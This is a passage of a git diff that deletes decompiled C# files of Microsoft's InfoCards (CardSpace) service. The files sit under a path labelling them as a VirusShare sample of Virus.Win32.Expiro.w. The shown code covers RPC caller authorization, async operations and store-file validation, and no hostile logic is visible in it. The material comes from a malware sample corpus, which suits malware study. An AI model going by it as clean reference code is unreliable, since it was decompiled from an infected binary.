InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_asyncHandle, "asyncHandle"); - } - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnProcess() => this.ParentRequest.CancelAsyncOp(this.m_asyncHandle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Canonicalizers.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Canonicalizers.cs deleted file mode 100644 index ccbbfc72..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Canonicalizers.cs +++ /dev/null @@ -1,248 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Canonicalizers -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class Canonicalizers - { - private static ICanonicalizer s_binary; - private static ICanonicalizer s_caseInsensitiveWithHashing; - private static ICanonicalizer s_caseSensitiveWithHashing; - private static ICanonicalizer s_binaryWithHashing; - - private Canonicalizers() - { - } - - public static ICanonicalizer CaseInsensitiveWithHashing - { - get - { - if (Canonicalizers.s_caseInsensitiveWithHashing == null) - Canonicalizers.s_caseInsensitiveWithHashing = (ICanonicalizer) new Canonicalizers.CaseInsensitiveCanonicalizer(true, Encoding.Unicode, CultureInfo.InvariantCulture); - return Canonicalizers.s_caseInsensitiveWithHashing; - } - } - - public static ICanonicalizer CaseSensitiveWithHashing - { - get - { - if (Canonicalizers.s_caseSensitiveWithHashing == null) - Canonicalizers.s_caseSensitiveWithHashing = (ICanonicalizer) new Canonicalizers.CaseSensitiveCanonicalizer(true, Encoding.Unicode, CultureInfo.InvariantCulture); - return Canonicalizers.s_caseSensitiveWithHashing; - } - } - - public static ICanonicalizer Binary - { - get - { - if (Canonicalizers.s_binary == null) - Canonicalizers.s_binary = (ICanonicalizer) new Canonicalizers.BinaryCanonicalizer(false); - return Canonicalizers.s_binary; - } - } - - public static ICanonicalizer BinaryWithHashing - { - get - { - if (Canonicalizers.s_binaryWithHashing == null) - Canonicalizers.s_binaryWithHashing = (ICanonicalizer) new Canonicalizers.BinaryCanonicalizer(true); - return Canonicalizers.s_binaryWithHashing; - } - } - - private delegate byte[] CanonicalizeObjectCallback(object dataToHash); - - private abstract class CanonicalizerBase : ICanonicalizer - { - private bool m_hashValue; - - public CanonicalizerBase(bool hashValue) => this.m_hashValue = hashValue; - - public byte[] Canonicalize(object obj) - { - byte[] dataToHash = obj != null ? this.GetRawForm(obj) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - if (!this.m_hashValue) - return dataToHash; - byte[] data = new byte[HashUtility.HashBufferLength]; - HashUtility.SetHashValue(data, 0, dataToHash); - return data; - } - - public abstract bool CanCanonicalize(object obj); - - protected abstract byte[] GetRawForm(object obj); - } - - private class BinaryCanonicalizer : Canonicalizers.CanonicalizerBase - { - private Dictionary m_canonicalizers; - - public BinaryCanonicalizer(bool hashValue) - : base(hashValue) - { - this.m_canonicalizers = new Dictionary(); - this.CreateCanonicalizers(); - } - - public override bool CanCanonicalize(object obj) => obj != null ? this.m_canonicalizers.ContainsKey(obj.GetType()) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - - private void CreateCanonicalizers() - { - this.m_canonicalizers.Add(typeof (short), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt16)); - this.m_canonicalizers.Add(typeof (ushort), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt16)); - this.m_canonicalizers.Add(typeof (int), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt32)); - this.m_canonicalizers.Add(typeof (uint), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt32)); - this.m_canonicalizers.Add(typeof (long), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt64)); - this.m_canonicalizers.Add(typeof (ulong), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt64)); - this.m_canonicalizers.Add(typeof (byte), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeByte)); - this.m_canonicalizers.Add(typeof (byte[]), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeByteArray)); - this.m_canonicalizers.Add(typeof (string), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeString)); - this.m_canonicalizers.Add(typeof (Guid), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeGuid)); - this.m_canonicalizers.Add(typeof (GlobalId), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeGlobalId)); - } - - protected override byte[] GetRawForm(object obj) => this.m_canonicalizers[obj.GetType()](obj); - - private byte[] CanonicalizeGlobalId(object data) => data != null ? ((Guid) (GlobalId) data).ToByteArray() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private byte[] CanonicalizeGuid(object data) => data != null ? ((Guid) data).ToByteArray() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private unsafe byte[] CanonicalizeInt16(object data) - { - short num = data != null ? (short) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[2]; - fixed (byte* numPtr = &numArray[0]) - *(short*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt16(object data) - { - ushort num = data != null ? (ushort) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[2]; - fixed (byte* numPtr = &numArray[0]) - *(short*) numPtr = (short) num; - return numArray; - } - - private unsafe byte[] CanonicalizeInt32(object data) - { - int num = data != null ? (int) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[4]; - fixed (byte* numPtr = &numArray[0]) - *(int*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt32(object data) - { - uint num = data != null ? (uint) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[4]; - fixed (byte* numPtr = &numArray[0]) - *(int*) numPtr = (int) num; - return numArray; - } - - private unsafe byte[] CanonicalizeInt64(object data) - { - long num = data != null ? (long) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[8]; - fixed (byte* numPtr = &numArray[0]) - *(long*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt64(object data) - { - ulong num = data != null ? (ulong) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[8]; - fixed (byte* numPtr = &numArray[0]) - *(long*) numPtr = (long) num; - return numArray; - } - - private byte[] CanonicalizeString(object data) - { - string s = data != null ? (string) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - return !string.IsNullOrEmpty(s) ? Encoding.Unicode.GetBytes(s) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - } - - private byte[] CanonicalizeByte(object data) => data != null ? new byte[1] - { - (byte) data - } : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private byte[] CanonicalizeByteArray(object data) => data != null ? (byte[]) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - } - - private abstract class StringCanonicalizerBase : Canonicalizers.CanonicalizerBase - { - private static readonly Type[] s_validTypes = new Type[2] - { - typeof (string), - typeof (Uri) - }; - private Encoding m_encoding; - private CultureInfo m_culture; - - protected StringCanonicalizerBase(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue) - { - if (encoding == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (encoding)); - this.m_culture = culture != null ? culture : CultureInfo.InvariantCulture; - this.m_encoding = encoding; - } - - protected virtual Type[] SupportedTypes => Canonicalizers.StringCanonicalizerBase.s_validTypes; - - public CultureInfo Culture => this.m_culture; - - public Encoding Encoding => this.m_encoding; - - public override bool CanCanonicalize(object obj) - { - if (obj == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - return this.SupportedTypes != null && -1 != Array.IndexOf(this.SupportedTypes, obj.GetType()); - } - - protected override byte[] GetRawForm(object obj) => this.GetBytesFromString(obj.ToString()); - - protected abstract byte[] GetBytesFromString(string data); - } - - private class CaseSensitiveCanonicalizer : Canonicalizers.StringCanonicalizerBase - { - public CaseSensitiveCanonicalizer(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue, encoding, culture) - { - } - - protected override byte[] GetBytesFromString(string data) => this.Encoding.GetBytes(data); - } - - private class CaseInsensitiveCanonicalizer : Canonicalizers.StringCanonicalizerBase - { - public CaseInsensitiveCanonicalizer(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue, encoding, culture) - { - } - - protected override byte[] GetBytesFromString(string obj) => this.Encoding.GetBytes(this.Culture.TextInfo.ToUpper(obj)); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs deleted file mode 100644 index ec2c482f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs +++ /dev/null @@ -1,77 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CheckStoreFileValidityRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class CheckStoreFileValidityRequest : UIAgentRequest - { - private string m_filename; - private bool m_valid = true; - - public CheckStoreFileValidityRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_filename = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - try - { - try - { - using (FileStream fileStream = File.OpenRead(this.m_filename)) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - if (reader.IsStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - return; - this.m_valid = false; - } - } - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - catch (ImportException ex) - { - this.m_valid = false; - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs).Write(this.m_valid); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ClientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ClientRequest.cs deleted file mode 100644 index c0dac553..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ClientRequest.cs +++ /dev/null @@ -1,405 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ClientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Security; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class ClientRequest : Request - { - private const int OutstandingCallWaitTime = 30000; - private IDictionary m_asyncOps; - private IDictionary m_cachedCerts; - private Process m_callerProcess; - private WindowsIdentity m_callerIdentity; - private Dictionary m_contextBag; - private object m_serviceAsyncSyncRoot; - private ClientRequest.ServiceAsyncOperation m_serviceAsyncOperation; - private bool m_cancelled; - private bool m_untrusted; - - public static Process GetCallingProcessFromRpcHandle(IntPtr RpcHandle) - { - uint pid; - if (NativeMethods.I_RpcBindingInqLocalClientPID(RpcHandle, out pid) != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceErrorGettingClientPid"))); - Process processFromRpcHandle = (Process) null; - bool flag1 = false; - bool flag2 = false; - while (!flag1) - { - flag1 = true; - try - { - if (flag2) - NativeMcppMethods.AddSystemAccessToProcess(RpcHandle, pid); - processFromRpcHandle = ProcessMonitor.GetProcessById((int) pid); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - catch (Win32Exception ex) - { - bool flag3 = false; - if (5 == ex.NativeErrorCode && !flag2) - { - flag1 = false; - flag2 = true; - flag3 = true; - } - if (!flag3) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException(SR.GetString("ClientAPIInfocardError"), (Exception) ex)); - } - } - return processFromRpcHandle; - } - - public ClientRequest( - Process callingProcess, - WindowsIdentity userIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : this(callingProcess, userIdentity, rpcHandle, inArgs, outArgs, ExceptionList.AllNonFatal) - { - } - - public ClientRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ExceptionList recoverableExceptions) - : base(rpcHandle, inArgs, outArgs, recoverableExceptions) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == callingProcess, nameof (callingProcess)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == callingIdentity, "userIdentity"); - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcHandle, nameof (rpcHandle)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == inArgs, nameof (inArgs)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == outArgs, nameof (outArgs)); - this.m_callerProcess = callingProcess; - this.m_callerIdentity = callingIdentity; - this.m_contextBag = new Dictionary(); - this.m_serviceAsyncSyncRoot = new object(); - InfoCardService.LifeTimeMonitor.AddClient(); - } - - public override WindowsIdentity RequestorIdentity => this.m_callerIdentity; - - public Process CallerProcess => this.m_callerProcess; - - public uint CallerPid => (uint) this.CallerProcess.Id; - - protected override void OnInitializeAsSystem() - { - if (this.CallerProcess.HasExited) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - - public T GetContext() - { - object obj = (object) null; - return this.m_contextBag.TryGetValue(typeof (T), out obj) ? (T) obj : default (T); - } - - public void SetContext(T value) => this.m_contextBag[typeof (T)] = (object) value; - - public void ClearContext() => this.m_contextBag.Remove(typeof (T)); - - public void AddAsyncOp(RpcAsyncResult async) - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null) - this.m_asyncOps = (IDictionary) new HybridDictionary(); - this.m_asyncOps[(object) async.Handle] = (object) async; - } - } - - public void CancelAsyncOp(int handle) - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null || !this.m_asyncOps.Contains((object) handle)) - return; - ((RpcAsyncResult) this.m_asyncOps[(object) handle]).Cancel(); - } - } - - public void RemoveAsyncOp(int handle) - { - lock (this.SyncRoot) - this.m_asyncOps.Remove((object) handle); - } - - private RpcAsyncResult FindAsyncOp(int handle) - { - lock (this.SyncRoot) - return (RpcAsyncResult) this.m_asyncOps[(object) handle]; - } - - protected void CheckIfAllAsyncOpsCompleted() - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null) - return; - foreach (RpcAsyncResult rpcAsyncResult in (IEnumerable) this.m_asyncOps.Values) - ; - } - } - - public RpcAsyncResult WaitForAsyncCompletion(int handle) - { - RpcAsyncResult asyncOp = this.FindAsyncOp(handle); - if (asyncOp == null) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidAsyncHandle"))); - asyncOp.AsyncWaitHandle.WaitOne(); - Exception exception = asyncOp.Exception; - if (exception != null) - throw new InfoCardRequestException(SR.GetString("ServiceAsyncOpGeneratedException"), exception); - return asyncOp; - } - - public void CertCacheAdd(string recipientIdentifier, X509Certificate2 cert) - { - lock (this.SyncRoot) - { - if (this.m_cachedCerts == null) - this.m_cachedCerts = (IDictionary) new HybridDictionary(); - this.m_cachedCerts[(object) recipientIdentifier] = (object) cert; - } - } - - public X509Certificate2 CertCacheFind(string recipientId) - { - lock (this.SyncRoot) - return (X509Certificate2) this.m_cachedCerts[(object) recipientId]; - } - - public static uint Authorize(IntPtr rpcIfHandle, IntPtr context) - { - uint num = 5; - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcIfHandle, nameof (rpcIfHandle)); - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == context, nameof (context)); - try - { - using (WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(context)) - { - if (!windowsIdentity.IsAuthenticated) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException()); - if (!ClientRequest.ValidateToken(context, windowsIdentity)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidCallerToken"))); - num = 0U; - } - } - catch (RuntimeWrappedException ex) - { - InfoCardTrace.TraceAndLogException((Exception) ex); - InfoCardService.Crash(); - } - catch (SecurityException ex) - { - InfoCardTrace.Assert(5U == num, "Unexpected value for err!"); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnableToValidateCallerToken", (object) ex.Message))); - } - return num; - } - - private static bool ValidateToken(IntPtr rpcItfHandle, WindowsIdentity rpcIdentity) - { - Process processFromRpcHandle = ClientRequest.GetCallingProcessFromRpcHandle(rpcItfHandle); - bool flag = NativeMcppMethods.CreateServiceExecutionIdentity(processFromRpcHandle).User.Value == rpcIdentity.User.Value; - if (flag) - flag = NativeMcppMethods.IsTokenValid(processFromRpcHandle); - return flag; - } - - protected override void OnDisposeAsSystem() - { - this.m_callerProcess = (Process) null; - object[] objArray = (object[]) null; - lock (this.SyncRoot) - { - if (this.m_asyncOps != null) - { - objArray = new object[this.m_asyncOps.Values.Count]; - this.m_asyncOps.Values.CopyTo((Array) objArray, 0); - } - } - if (objArray != null) - { - foreach (RpcAsyncResult rpcAsyncResult in objArray) - rpcAsyncResult.Dispose(); - } - InfoCardService.LifeTimeMonitor.RemoveClient(); - base.OnDisposeAsSystem(); - } - - protected void ExecuteCancelable( - ClientRequest.AsyncEntryCallback entry, - ClientRequest.AsyncEntryCallback cancel) - { - lock (this.m_serviceAsyncSyncRoot) - { - if (this.m_cancelled) - { - if (this.m_untrusted) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - InfoCardTrace.Assert(null == this.m_serviceAsyncOperation, "Only a single cancelable service operation can be running at a time"); - this.m_serviceAsyncOperation = new ClientRequest.ServiceAsyncOperation(entry, cancel); - try - { - if (!ThreadPool.QueueUserWorkItem(InfoCardTrace.ThunkCallback(new WaitCallback(ClientRequest.ServiceAsyncEntry)), (object) this.m_serviceAsyncOperation)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UnableToQueueThreadpool"))); - this.m_serviceAsyncOperation.WaitForCompletion(); - if (this.m_serviceAsyncOperation.WasCancelled) - { - if (this.m_untrusted) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - if (this.m_serviceAsyncOperation.ExecutionException != null) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(this.m_serviceAsyncOperation.ExecutionException.Message, this.m_serviceAsyncOperation.ExecutionException)); - } - finally - { - this.m_serviceAsyncOperation = (ClientRequest.ServiceAsyncOperation) null; - } - } - } - - protected void CancelServiceAsyncOperation(bool untrusted) - { - if (this.m_serviceAsyncOperation != null) - this.m_serviceAsyncOperation.Cancel(); - this.m_untrusted = untrusted; - this.m_cancelled = true; - } - - private static void ServiceAsyncEntry(object state) - { - ClientRequest.ServiceAsyncOperation serviceAsyncOperation = (ClientRequest.ServiceAsyncOperation) state; - try - { - serviceAsyncOperation.Execute(); - } - finally - { - serviceAsyncOperation.Complete(); - } - } - - internal delegate void AsyncEntryCallback(); - - private class ServiceAsyncOperation - { - private ClientRequest.AsyncEntryCallback m_cancelCallback; - private ClientRequest.AsyncEntryCallback m_entryCallback; - private ManualResetEvent m_syncEvent; - private Exception m_exception; - private bool m_complete; - private bool m_cancelled; - private object m_sync; - - public ServiceAsyncOperation( - ClientRequest.AsyncEntryCallback entry, - ClientRequest.AsyncEntryCallback cancel) - { - this.m_entryCallback = entry; - this.m_cancelCallback = cancel; - this.m_sync = new object(); - this.m_syncEvent = new ManualResetEvent(false); - } - - public bool WasCancelled => this.m_cancelled; - - public Exception ExecutionException => this.m_exception; - - public void Complete() - { - if (this.m_complete) - return; - lock (this.m_sync) - { - if (this.m_complete) - return; - this.m_complete = true; - this.m_syncEvent.Set(); - } - } - - public void WaitForCompletion() => this.m_syncEvent.WaitOne(); - - public void Execute() - { - lock (this.m_sync) - { - if (this.m_cancelled) - return; - this.m_complete = false; - this.m_syncEvent.Reset(); - } - try - { - this.m_entryCallback(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - else - this.m_exception = ex; - } - } - - public void Cancel() - { - lock (this.m_sync) - { - if (this.m_complete) - return; - this.m_cancelled = true; - try - { - if (this.m_cancelCallback == null) - return; - this.m_cancelCallback(); - } - finally - { - this.Complete(); - } - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ClientUIRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ClientUIRequest.cs deleted file mode 100644 index a86bdf5e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ClientUIRequest.cs +++ /dev/null @@ -1,305 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ClientUIRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class ClientUIRequest : ClientRequest - { - private static object s_syncRoot = new object(); - private static ClientUIRequest.ProcessHandleDictionary s_connectedProcesses = new ClientUIRequest.ProcessHandleDictionary(); - private ManualResetEvent m_uiAgentDone; - private StoreConnection m_rootStoreReference; - private volatile InfoCardUIAgent m_uiAgent; - private InfoCardUIAgent.CallMode m_uiAgentMode; - private AccessibilityApplicationManager m_atManager = new AccessibilityApplicationManager(); - - public ClientUIRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - InfoCardUIAgent.CallMode callMode, - ExceptionList recoverableExceptions) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs, recoverableExceptions) - { - this.m_uiAgentMode = callMode; - this.m_uiAgentDone = new ManualResetEvent(false); - this.m_uiAgent = uiAgent; - this.m_uiAgent.SetRequest(this); - } - - public static int BindToService(IntPtr rpcHandle, out IntPtr context) - { - int service = 0; - context = IntPtr.Zero; - try - { - Process callingProcess = ClientRequest.GetCallingProcessFromRpcHandle(rpcHandle); - WindowsImpersonationContext impersonationContext = NativeMcppMethods.CreateServiceExecutionIdentity(callingProcess).Impersonate(); - try - { - int num = 0; - lock (ClientUIRequest.s_syncRoot) - { - try - { - try - { - num = ClientUIRequest.s_connectedProcesses.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("TooManyClientUIConnections"), (Exception) ex)); - } - ClientUIRequest.s_connectedProcesses[num] = callingProcess; - context = new IntPtr(num); - num = 0; - callingProcess = (Process) null; - } - finally - { - callingProcess?.Dispose(); - if (num != 0) - ClientUIRequest.s_connectedProcesses.Remove(num); - } - } - } - finally - { - impersonationContext.Undo(); - } - } - catch (InfoCardBaseException ex) - { - service = ex.NativeHResult; - } - return service; - } - - public static Process GetContextMapping(IntPtr context, bool clear) - { - int int32 = context.ToInt32(); - Process contextMapping = (Process) null; - lock (ClientUIRequest.s_syncRoot) - { - if (ClientUIRequest.s_connectedProcesses.ContainsHandle(int32)) - { - contextMapping = ClientUIRequest.s_connectedProcesses[int32]; - if (clear) - ClientUIRequest.s_connectedProcesses.Remove(int32); - } - } - return contextMapping; - } - - public static void RemoveAndDisposeContextMapping(IntPtr context) => ClientUIRequest.GetContextMapping(context, true)?.Dispose(); - - public InfoCardUIAgent.CallMode UIAgentMode => this.m_uiAgentMode; - - internal InfoCardUIAgent UIAgent => this.m_uiAgent; - - public int UIAgentPid => (int) this.UIAgent.ProcessId; - - public string UIAgentLogonSid => this.UIAgent.TrustedUserSid; - - public bool UIAgentActive => this.UIAgent != null && this.UIAgent.IsActive; - - protected override void OnInitializeAsUser() - { - base.OnInitializeAsUser(); - this.m_rootStoreReference = StoreConnection.CreateConnection(); - } - - protected override void PreProcessRequest() - { - try - { - base.PreProcessRequest(); - } - catch (UIAgentInitializationException ex) - { - throw; - } - catch (UserCancelledException ex) - { - throw; - } - catch (UntrustedRecipientException ex) - { - throw; - } - catch (UIAgentCrashedException ex) - { - throw new CommunicationException(SR.GetString("UIAgentCrash")); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected override void ProcessRequest() - { - try - { - base.ProcessRequest(); - } - catch (UntrustedRecipientException ex) - { - throw; - } - catch (UIAgentInitializationException ex) - { - throw; - } - catch (UserCancelledException ex) - { - throw; - } - catch (UIAgentCrashedException ex) - { - throw new CommunicationException(SR.GetString("UIAgentCrash")); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected override void PostProcessRequest() - { - try - { - base.PostProcessRequest(); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected Exception ShowError(Exception ex) - { - if (this.m_uiAgent.IsShuttingDown) - return ex; - this.ProcessingException = ex; - this.m_uiAgent.ResetUIResult(); - if (ClientUIRequest.RequestResult.Untrusted == this.m_uiAgent.ShowUI(InfoCardUIAgent.CallMode.Error)) - ex = InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - this.ProcessingException = (Exception) null; - return ex; - } - - protected void StartAndWaitForUIAgent() - { - switch 